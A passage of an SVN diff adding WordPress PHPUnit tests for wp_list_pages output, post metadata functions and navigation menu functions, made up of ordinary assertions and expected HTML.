+<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['exclude'], $actual );
+	}
+
+	function test_wp_list_pages_title_li() {
+		$args = array(
+			'echo' => false,
+			'depth' => 1,
+			'title_li' => 'PageTitle'
+		);
+		$expected['title_li'] = '<li class="pagenav">PageTitle<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a></li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['title_li'], $actual );
+	}
+
+	function test_wp_list_pages_echo() {
+		$args = array(
+			'echo' => true,
+			'depth' => 1
+		);
+		$expected['echo'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a></li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		ob_start();
+		wp_list_pages( $args );
+		$actual = ob_get_clean();
+		$this->AssertEquals( $expected['echo'], $actual );
+	}
+
+	function test_wp_list_pages_authors() {
+		$args = array(
+			'echo' => false,
+			'authors' => '2',
+		);
+		$expected['authors'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-3"><a href="' . get_permalink( 3) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['authors'], $actual );
+	}
+
+	function test_wp_list_pages_number() {
+		$args = array(
+			'echo' => false,
+			'number' => 1,
+		);
+		$expected['number'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['number'], $actual );
+	}
+
+	function test_wp_list_pages_sort_column() {
+		$args = array(
+			'echo' => false,
+			'sort_column' => 'post_author',
+			'sort_order' => 'DESC'
+		);
+		$expected['sort_column'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['sort_column'], $actual );
+	}
+
+	function test_wp_list_pages_link_before() {
+		$args = array(
+			'echo' => false,
+			'link_before' => 'BEFORE'
+		);
+		$expected['link_before'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">BEFOREParent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">BEFOREChild 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">BEFOREChild 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">BEFOREChild 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">BEFOREParent 2</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">BEFOREChild 1</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">BEFOREChild 2</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">BEFOREChild 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">BEFOREParent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">BEFOREChild 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">BEFOREChild 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">BEFOREChild 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['link_before'], $actual );
+	}
+
+	function test_wp_list_pages_link_after() {
+		$args = array(
+			'echo' => false,
+			'link_after' => 'AFTER'
+		);
+		$expected['link_after'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1AFTER</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1AFTER</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2AFTER</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3AFTER</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2AFTER</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1AFTER</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2AFTER</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3AFTER</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3AFTER</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1AFTER</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2AFTER</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3AFTER</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['link_after'], $actual );
+	}
+
+
+	function test_wp_list_pages_include() {
+		$args = array(
+			'echo' => false,
+			'include' => '1,3'
+		);
+		$expected['include'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-3"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['include'], $actual );
+	}
+
+	function test_wp_list_pages_exclude_tree() {
+		$args = array(
+			'echo' => false,
+			'exclude_tree' => '2, 3'
+		);
+		$expected['exclude'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['exclude'], $actual );
+	}
+
+	function test_wp_list_pages_discarded_whitespace() {
+		$args = array(
+			'echo' => false,
+			'item_spacing' => 'discard',
+		);
+		$expected['default'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a><ul class=\'children\'><li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li><li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li><li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li></ul></li><li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a><ul class=\'children\'><li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li><li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li><li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li></ul></li><li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a><ul class=\'children\'><li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li><li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li><li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li></ul></li></ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['default'], $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/meta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/meta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/meta.php	(revision 56912)
@@ -0,0 +1,345 @@
+<?php
+
+/**
+ * @group post
+ * @group meta
+ */
+class Tests_Post_Meta extends WP_UnitTestCase {
+
+	private $last_register_meta_call = array(
+		'object_type' => '',
+		'meta_key'    => '',
+		'args'        => array(),
+	);
+
+	function setUp() {
+		parent::setUp();
+
+		$this->author = new WP_User( self::factory()->user->create( array( 'role' => 'editor' ) ) );
+
+		$post = array(
+			'post_author' => $this->author->ID,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+		);
+
+		// insert a post
+		$this->post_id = wp_insert_post($post);
+
+
+		$post = array(
+			'post_author' => $this->author->ID,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+		);
+
+		// insert a post
+		$this->post_id_2 = wp_insert_post($post);
+	}
+
+	function test_unique_postmeta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique', 'value', true) );
+
+		// Check unique is enforced
+		$this->assertFalse(add_post_meta($this->post_id, 'unique', 'another value', true));
+
+		//Check it exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique', true));
+		$this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique', false));
+
+		//Fail to delete the wrong value
+		$this->assertFalse(delete_post_meta($this->post_id, 'unique', 'wrong value'));
+
+		//Delete it
+		$this->assertTrue(delete_post_meta($this->post_id, 'unique', 'value'));
+
+		//Check it is deleted
+		$this->assertEquals('', get_post_meta($this->post_id, 'unique', true));
+		$this->assertEquals(array(), get_post_meta($this->post_id, 'unique', false));
+
+	}
+
+	function test_nonunique_postmeta() {
+		// Add two non unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'value') );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'another value'));
+
+		//Check they exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'nonunique', true));
+		$this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique', false));
+
+		//Fail to delete the wrong value
+		$this->assertFalse(delete_post_meta($this->post_id, 'nonunique', 'wrong value'));
+
+		//Delete the first one
+		$this->assertTrue(delete_post_meta($this->post_id, 'nonunique', 'value'));
+
+		//Check the remainder exists
+		$this->assertEquals('another value', get_post_meta($this->post_id, 'nonunique', true));
+		$this->assertEquals(array('another value'), get_post_meta($this->post_id, 'nonunique', false));
+
+		//Add a third one
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'someother value') );
+
+		//Check they exists
+		$expected = array(
+			'someother value',
+			'another value'
+		);
+		sort( $expected );
+		$this->assertTrue( in_array( get_post_meta( $this->post_id, 'nonunique', true ), $expected ) );
+		$actual = get_post_meta( $this->post_id, 'nonunique', false );
+		sort( $actual );
+		$this->assertEquals( $expected, $actual );
+
+		//Delete the lot
+		$this->assertTrue(delete_post_meta_by_key('nonunique'));
+	}
+
+	function test_update_post_meta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_update', 'value', true) );
+
+		// Add two non unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique_update', 'value') );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique_update', 'another value') );
+
+		//Check they exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('value', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+		// Update them
+		$this->assertTrue(update_post_meta($this->post_id, 'unique_update', 'new', 'value'));
+		$this->assertTrue(update_post_meta($this->post_id, 'nonunique_update', 'new', 'value'));
+		$this->assertTrue(update_post_meta($this->post_id, 'nonunique_update', 'another new', 'another value'));
+
+		//Check they updated
+		$this->assertEquals('new', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('new'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('new', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('new', 'another new'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+	}
+
+	function test_delete_post_meta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_delete', 'value', true) );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id_2, 'unique_delete', 'value', true) );
+
+		//Check they exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_delete', true));
+		$this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete', true));
+
+		//Delete one of them
+		$this->assertTrue(delete_post_meta($this->post_id, 'unique_delete', 'value'));
+
+		//Check the other still exitsts
+		$this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete', true));
+
+
+	}
+
+	function test_delete_post_meta_by_key() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_delete_by_key', 'value', true) );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id_2, 'unique_delete_by_key', 'value', true) );
+
+		//Check they exist
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_delete_by_key', true));
+		$this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+
+		//Delete one of them
+		$this->assertTrue(delete_post_meta_by_key('unique_delete_by_key'));
+
+		//Check the other still exists
+		$this->assertEquals('', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+		$this->assertEquals('', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+	}
+
+	function test_get_post_meta_by_id() {
+		$mid = add_post_meta( $this->post_id, 'get_post_meta_by_key', 'get_post_meta_by_key_value', true );
+		$this->assertInternalType( 'integer', $mid );
+
+		$mobj = new stdClass;
+		$mobj->meta_id = $mid;
+		$mobj->post_id = $this->post_id;
+		$mobj->meta_key = 'get_post_meta_by_key';
+		$mobj->meta_value = 'get_post_meta_by_key_value';
+		$this->assertEquals( $mobj, get_post_meta_by_id( $mid ) );
+		delete_metadata_by_mid( 'post', $mid );
+
+		$mid = add_post_meta( $this->post_id, 'get_post_meta_by_key', array( 'foo', 'bar' ), true );
+		$this->assertInternalType( 'integer', $mid );
+		$mobj->meta_id = $mid;
+		$mobj->meta_value = array( 'foo', 'bar' );
+		$this->assertEquals( $mobj, get_post_meta_by_id( $mid ) );
+		delete_metadata_by_mid( 'post', $mid );
+	}
+
+	function test_delete_meta() {
+		$mid = add_post_meta( $this->post_id, 'delete_meta', 'delete_meta_value', true );
+		$this->assertInternalType( 'integer', $mid );
+
+		$this->assertTrue( delete_meta( $mid ) );
+		$this->assertFalse( get_metadata_by_mid( 'post', $mid ) );
+
+		$this->assertFalse( delete_meta( 123456789 ) );
+	}
+
+	function test_update_meta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', $mid1 = add_post_meta($this->post_id, 'unique_update', 'value', true) );
+
+		// Add two non unique post meta item
+		$this->assertInternalType( 'integer', $mid2 = add_post_meta($this->post_id, 'nonunique_update', 'value') );
+		$this->assertInternalType( 'integer', $mid3 = add_post_meta($this->post_id, 'nonunique_update', 'another value') );
+
+		//Check they exist
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('value', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+		// Update them
+		$this->assertTrue( update_meta( $mid1, 'unique_update', 'new' ) );
+		$this->assertTrue( update_meta( $mid2, 'nonunique_update', 'new' ) );
+		$this->assertTrue( update_meta( $mid3, 'nonunique_update', 'another new' ) );
+
+		//Check they updated
+		$this->assertEquals('new', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('new'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('new', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('new', 'another new'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+		// Slashed update
+		$data = "'quote and \slash";
+		$this->assertTrue( update_meta( $mid1, 'unique_update', addslashes( $data ) ) );
+		$meta = get_metadata_by_mid( 'post', $mid1 );
+		$this->assertEquals( $data, $meta->meta_value );
+	}
+
+	/**
+	 * @ticket 12860
+	 */
+	function test_funky_post_meta() {
+		$classy = new StdClass();
+		$classy->ID = 1;
+		$classy->stringy = "I love slashes\\\\";
+		$funky_meta[] = $classy;
+
+		$classy = new StdClass();
+		$classy->ID = 2;
+		$classy->stringy = "I love slashes\\\\ more";
+		$funky_meta[] = $classy;
+
+		// Add a post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'test_funky_post_meta', $funky_meta, true) );
+
+		//Check they exists
+		$this->assertEquals($funky_meta, get_post_meta($this->post_id, 'test_funky_post_meta', true));
+
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_register_post_meta
+	 */
+	public function test_register_post_meta( $post_type, $meta_key, $args ) {
+		add_filter( 'register_meta_args', array( $this, 'filter_register_meta_args_set_last_register_meta_call' ), 10, 4 );
+
+		register_post_meta( $post_type, $meta_key, $args );
+
+		$args['object_subtype'] = $post_type;
+
+		// Reset global so subsequent data tests do not get polluted.
+		$GLOBALS['wp_meta_keys'] = array();
+
+		$this->assertEquals( 'post', $this->last_register_meta_call['object_type'] );
+		$this->assertEquals( $meta_key, $this->last_register_meta_call['meta_key'] );
+		$this->assertEquals( $args, $this->last_register_meta_call['args'] );
+	}
+
+	public function data_register_post_meta() {
+		return array(
+			array( 'post', 'registered_key1', array( 'single' => true ) ),
+			array( 'page', 'registered_key2', array() ),
+			array( '', 'registered_key3', array( 'sanitize_callback' => 'absint' ) ),
+		);
+	}
+
+	public function filter_register_meta_args_set_last_register_meta_call( $args, $defaults, $object_type, $meta_key ) {
+		$this->last_register_meta_call['object_type'] = $object_type;
+		$this->last_register_meta_call['meta_key']    = $meta_key;
+		$this->last_register_meta_call['args']        = $args;
+
+		return $args;
+	}
+
+	/**
+	 * @ticket 38323
+	 * @dataProvider data_unregister_post_meta
+	 */
+	public function test_unregister_post_meta( $post_type, $meta_key ) {
+		global $wp_meta_keys;
+
+		register_post_meta( $post_type, $meta_key, array() );
+		unregister_post_meta( $post_type, $meta_key );
+
+		$actual = $wp_meta_keys;
+
+		// Reset global so subsequent data tests do not get polluted.
+		$wp_meta_keys = array();
+
+		$this->assertEmpty( $actual );
+	}
+
+	public function data_unregister_post_meta() {
+		return array(
+			array( 'post', 'registered_key1' ),
+			array( 'page', 'registered_key2' ),
+			array( '', 'registered_key3' ),
+		);
+  	}
+
+	/**
+	 * @ticket 44467
+	 */
+	public function test_add_metadata_sets_posts_last_changed() {
+		$post_id = self::factory()->post->create();
+
+		wp_cache_delete( 'last_changed', 'posts' );
+
+		$this->assertInternalType( 'integer', add_metadata( 'post', $post_id, 'foo', 'bar' ) );
+		$this->assertNotFalse( wp_cache_get_last_changed( 'posts' ) );
+	}
+
+	/**
+	 * @ticket 44467
+	 */
+	public function test_update_metadata_sets_posts_last_changed() {
+		$post_id = self::factory()->post->create();
+
+		wp_cache_delete( 'last_changed', 'posts' );
+
+		$this->assertInternalType( 'integer', update_metadata( 'post', $post_id, 'foo', 'bar' ) );
+		$this->assertNotFalse( wp_cache_get_last_changed( 'posts' ) );
+	}
+
+	/**
+	 * @ticket 44467
+	 */
+	public function test_delete_metadata_sets_posts_last_changed() {
+		$post_id = self::factory()->post->create();
+
+		update_metadata( 'post', $post_id, 'foo', 'bar' );
+		wp_cache_delete( 'last_changed', 'posts' );
+
+		$this->assertTrue( delete_metadata( 'post', $post_id, 'foo' ) );
+		$this->assertNotFalse( wp_cache_get_last_changed( 'posts' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/nav-menu.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/nav-menu.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/nav-menu.php	(revision 56912)
@@ -0,0 +1,648 @@
+<?php
+/**
+ * @group post
+ * @group navmenus
+ */
+class Test_Nav_Menus extends WP_UnitTestCase {
+	/**
+	 * @var int
+	 */
+	public $menu_id;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->menu_id = wp_create_nav_menu( rand_str() );
+	}
+
+	/**
+	 * @ticket 32464
+	 */
+	public function test_wp_nav_menu_empty_container() {
+		$tag_id = self::factory()->tag->create();
+
+		wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'post_tag',
+			'menu-item-object-id' => $tag_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$menu = wp_nav_menu( array(
+			'echo' => false,
+			'container' => '',
+			'menu' => $this->menu_id
+		) );
+
+		$this->assertEquals( 0, strpos( $menu, '<ul' ) );
+	}
+
+	function test_wp_get_associated_nav_menu_items() {
+		$tag_id = self::factory()->tag->create();
+		$cat_id = self::factory()->category->create();
+		$post_id = self::factory()->post->create();
+		$post_2_id = self::factory()->post->create();
+		$page_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		$tag_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'post_tag',
+			'menu-item-object-id' => $tag_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$cat_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'category',
+			'menu-item-object-id' => $cat_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$post_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		// Item without menu-item-object arg
+		$post_2_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object-id' => $post_2_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$page_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'page',
+			'menu-item-object-id' => $page_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$tag_items = wp_get_associated_nav_menu_items( $tag_id, 'taxonomy', 'post_tag' );
+		$this->assertEqualSets( array( $tag_insert ), $tag_items );
+		$cat_items = wp_get_associated_nav_menu_items( $cat_id, 'taxonomy', 'category' );
+		$this->assertEqualSets( array( $cat_insert ), $cat_items );
+		$post_items = wp_get_associated_nav_menu_items( $post_id );
+		$this->assertEqualSets( array( $post_insert ), $post_items );
+		$post_2_items = wp_get_associated_nav_menu_items( $post_2_id );
+		$this->assertEqualSets( array( $post_2_insert ), $post_2_items );
+		$page_items = wp_get_associated_nav_menu_items( $page_id );
+		$this->assertEqualSets( array( $page_insert ), $page_items );
+
+		wp_delete_term( $tag_id, 'post_tag' );
+		$tag_items = wp_get_associated_nav_menu_items( $tag_id, 'taxonomy', 'post_tag' );
+		$this->assertEqualSets( array(), $tag_items );
+
+		wp_delete_term( $cat_id, 'category' );
+		$cat_items = wp_get_associated_nav_menu_items( $cat_id, 'taxonomy', 'category' );
+		$this->assertEqualSets( array(), $cat_items );
+
+		wp_delete_post( $post_id, true );
+		$post_items = wp_get_associated_nav_menu_items( $post_id );
+		$this->assertEqualSets( array(), $post_items );
+
+		wp_delete_post( $post_2_id, true );
+		$post_2_items = wp_get_associated_nav_menu_items( $post_2_id );
+		$this->assertEqualSets( array(), $post_2_items );
+
+		wp_delete_post( $page_id, true );
+		$page_items = wp_get_associated_nav_menu_items( $page_id );
+		$this->assertEqualSets( array(), $page_items );
+	}
+
+	/**
+	 * @ticket 27113
+	 */
+	function test_orphan_nav_menu_item() {
+
+		// Create an orphan nav menu item
+		$custom_item_id = wp_update_nav_menu_item( 0, 0, array(
+			'menu-item-type'      => 'custom',
+			'menu-item-title'     => 'Wordpress.org',
+			'menu-item-link'      => 'http://wordpress.org',
+			'menu-item-status'    => 'publish'
+		) );
+
+		// Confirm it saved properly
+		$custom_item = wp_setup_nav_menu_item( get_post( $custom_item_id ) );
+		$this->assertEquals( 'Wordpress.org', $custom_item->title );
+
+		// Update the orphan with an associated nav menu
+		wp_update_nav_menu_item( $this->menu_id, $custom_item_id, array(
+			'menu-item-title'     => 'WordPress.org',
+			) );
+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		$custom_item = wp_filter_object_list( $menu_items, array( 'db_id' => $custom_item_id ) );
+		$custom_item = array_pop( $custom_item );
+		$this->assertEquals( 'WordPress.org', $custom_item->title );
+
+	}
+
+	public function test_wp_get_nav_menu_items_with_taxonomy_term() {
+		register_taxonomy( 'wptests_tax', 'post', array( 'hierarchical' => true ) );
+		$t = self::factory()->term->create( array( 'taxonomy' => 'wptests_tax' ) );
+		$child_terms = self::factory()->term->create_many( 2, array( 'taxonomy' => 'wptests_tax', 'parent' => $t ) );
+
+		$term_menu_item = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'wptests_tax',
+			'menu-item-object-id' => $t,
+			'menu-item-status' => 'publish'
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+
+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		$this->assertSame( $term->name, $menu_items[0]->title );
+		$this->assertEquals( $t, $menu_items[0]->object_id );
+	}
+
+	/**
+	 * @ticket 13910
+	 */
+	function test_wp_get_nav_menu_name() {
+		// Register a nav menu location.
+		register_nav_menu( 'primary', 'Primary Navigation' );
+
+		// Create a menu with a title.
+		$menu = wp_create_nav_menu( 'My Menu' );
+
+		// Assign the menu to the `primary` location.
+		$locations = get_nav_menu_locations();
+		$menu_obj = wp_get_nav_menu_object( $menu );
+		$locations['primary'] = $menu_obj->term_id;
+		set_theme_mod( 'nav_menu_locations', $locations );
+
+		$this->assertEquals( 'My Menu', wp_get_nav_menu_name( 'primary' ) );
+	}
+
+	/**
+	 * @ticket 29460
+	 */
+	function test_orderby_name_by_default() {
+		// We are going to create a random number of menus (min 2, max 10)
+		$menus_no = rand( 2, 10 );
+
+		for ( $i = 0; $i <= $menus_no; $i++ ) {
+			wp_create_nav_menu( rand_str() );
+		}
+
+		// This is the expected array of menu names
+		$expected_nav_menus_names = wp_list_pluck(
+			get_terms( 'nav_menu',  array( 'hide_empty' => false, 'orderby' => 'name' ) ),
+			'name'
+		);
+
+		// And this is what we got when calling wp_get_nav_menus()
+		$nav_menus_names = wp_list_pluck( wp_get_nav_menus(), 'name' );
+
+		$this->assertEquals( $nav_menus_names, $expected_nav_menus_names );
+	}
+
+	/**
+	 * @ticket 35324
+	 */
+	function test_wp_setup_nav_menu_item_for_post_type_archive() {
+
+		$post_type_slug = rand_str( 12 );
+		$post_type_description = rand_str();
+		register_post_type( $post_type_slug ,array(
+			'public' => true,
+			'has_archive' => true,
+			'description' => $post_type_description,
+			'label' => $post_type_slug
+		));
+
+		$post_type_archive_item_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type_archive',
+			'menu-item-object' => $post_type_slug,
+			'menu-item-description' => $post_type_description,
+			'menu-item-status' => 'publish'
+		) );
+		$post_type_archive_item = wp_setup_nav_menu_item( get_post( $post_type_archive_item_id ) );
+
+		$this->assertEquals( $post_type_slug , $post_type_archive_item->title );
+		$this->assertEquals( $post_type_description , $post_type_archive_item->description );
+	}
+
+	/**
+	 * @ticket 35324
+	 */
+	function test_wp_setup_nav_menu_item_for_post_type_archive_no_description() {
+
+		$post_type_slug = rand_str( 12 );
+		$post_type_description = '';
